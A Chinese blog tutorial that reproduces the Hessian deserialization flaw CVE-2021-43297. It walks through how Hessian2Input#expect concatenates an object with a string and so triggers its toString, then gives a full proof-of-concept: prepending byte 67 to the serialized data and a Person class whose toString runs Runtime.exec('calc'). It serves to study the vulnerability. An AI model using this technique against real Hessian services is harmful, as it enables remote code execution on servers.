【Web】浅聊Hessian异常toString姿势学习复现

2024-03-20 15:04

本文主要是介绍【Web】浅聊Hessian异常toString姿势学习复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

利用关键

调用分析

如何控制第一个字节

EXP


前言

Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!

这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。

利用关键

Hessian2Input 中的 expect 方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:

protected IOException expect(String expect, int ch)

参数解释:

  • expect 表示期望的内容,ch 表示当前读取到的字符

expect 方法的作用是检查下一个输入字节是否等于给定的 expect 值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException 异常或者其他相关异常。

该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。

现在具体来看expect方法怎么写的

 protected IOException expect(String expect, int ch) throws IOException {if (ch < 0) {return this.error("expected " + expect + " at end of file");} else {--this._offset;try {int offset = this._offset;String context = this.buildDebugContext(this._buffer, 0, this._length, offset);Object obj = this.readObject();return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");} catch (Exception var6) {log.log(Level.FINE, var6.toString(), var6);return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));}}}

先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成

调用分析

从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect

这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:

  1. readInt 方法:用于读取整数数据。
  2. readString 方法:用于读取字符串数据。
  3. readFloat 方法:用于读取浮点数数据。
  4. readChar 方法:用于读取单个字符数据。
  5. readLine 方法:用于读取一行文本数据。

这里师傅们用的是readString来触发expect,俺也来致敬经典😄

public String readString() throws IOException {int tag = this.read();int ch;switch (tag) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 9:case 10:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 23:case 24:case 25:case 26:case 27:case 28:case 29:case 30:case 31:this._isLastChunk = true;this._chunkLength = tag - 0;this._sbuf.setLength(0);while((ch = this.parseChar()) >= 0) {this._sbuf.append((char)ch);}return this._sbuf.toString();case 32:case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 52:case 53:case 54:case 55:case 64:case 65:case 66:case 67:case 69:case 71:case 72:case 74:case 75:case 77:case 79:case 80:case 81:case 85:case 86:case 87:case 88:case 90:case 96:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:case 123:case 124:case 125:case 126:case 127:default:throw this.expect("string", tag);......}}

 现在问题就是怎么完成下列调用

readObject->readString->expect

Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)

当tag为67时,会调用readObjectDefinition

跟进,接着调用readString

最后进到default->expect

 

 

hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了

因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default

如何控制第一个字节

System.arraycopy 是一个 Java 中用于复制数组元素的方法

public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)

参数解释如下:

  • src:源数组,即要复制数据的原始数组。
  • srcPos:源数组的起始位置,从该位置开始复制数据。
  • dest:目标数组,即将数据复制到的目标数组。
  • destPos:目标数组的起始位置,从该位置开始粘贴数据。
  • length:要复制的元素数量,即要复制的数据长度。

EXP

先导pom依赖

<dependencies><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>

EXP.java

package org.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;public class EXP {public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void main(String[] args) throws Exception {Person person = new Person();person.setName("Hessian异常toString成功捏o(=•ェ•=)m");byte[] data = Hessian2_Serial(person);byte[] poc = new byte[data.length + 1];System.arraycopy(new byte[]{67}, 0, poc, 0, 1);System.arraycopy(data, 0, poc, 1, data.length);Hessian2_Deserial(poc);}
}

Person.java

package org.Hessian;import java.io.IOException;
import java.io.Serializable;public class Person implements Serializable {String name;public void setName(String name) {this.name = name;}@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return this.name;}
}

成功弹出计算器

 

这篇关于【Web】浅聊Hessian异常toString姿势学习复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/829844

相关文章

Java中的String.valueOf()和toString()方法区别小结

《Java中的String.valueOf()和toString()方法区别小结》字符串操作是开发者日常编程任务中不可或缺的一部分,转换为字符串是一种常见需求,其中最常见的就是String.value... 目录String.valueOf()方法方法定义方法实现使用示例使用场景toString()方法方法

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

Java异常架构Exception(异常)详解

《Java异常架构Exception(异常)详解》:本文主要介绍Java异常架构Exception(异常),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. Exception 类的概述Exception的分类2. 受检异常(Checked Exception)

Java报NoClassDefFoundError异常的原因及解决

《Java报NoClassDefFoundError异常的原因及解决》在Java开发过程中,java.lang.NoClassDefFoundError是一个令人头疼的运行时错误,本文将深入探讨这一问... 目录一、问题分析二、报错原因三、解决思路四、常见场景及原因五、深入解决思路六、预http://www

一文带你深入了解Python中的GeneratorExit异常处理

《一文带你深入了解Python中的GeneratorExit异常处理》GeneratorExit是Python内置的异常,当生成器或协程被强制关闭时,Python解释器会向其发送这个异常,下面我们来看... 目录GeneratorExit:协程世界的死亡通知书什么是GeneratorExit实际中的问题案例

Java进阶学习之如何开启远程调式

《Java进阶学习之如何开启远程调式》Java开发中的远程调试是一项至关重要的技能,特别是在处理生产环境的问题或者协作开发时,:本文主要介绍Java进阶学习之如何开启远程调式的相关资料,需要的朋友... 目录概述Java远程调试的开启与底层原理开启Java远程调试底层原理JVM参数总结&nbsMbKKXJx

Java捕获ThreadPoolExecutor内部线程异常的四种方法

《Java捕获ThreadPoolExecutor内部线程异常的四种方法》这篇文章主要为大家详细介绍了Java捕获ThreadPoolExecutor内部线程异常的四种方法,文中的示例代码讲解详细,感... 目录方案 1方案 2方案 3方案 4结论方案 1使用 execute + try-catch 记录

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

解决java.lang.NullPointerException问题(空指针异常)

《解决java.lang.NullPointerException问题(空指针异常)》本文详细介绍了Java中的NullPointerException异常及其常见原因,包括对象引用为null、数组元... 目录Java.lang.NullPointerException(空指针异常)NullPointer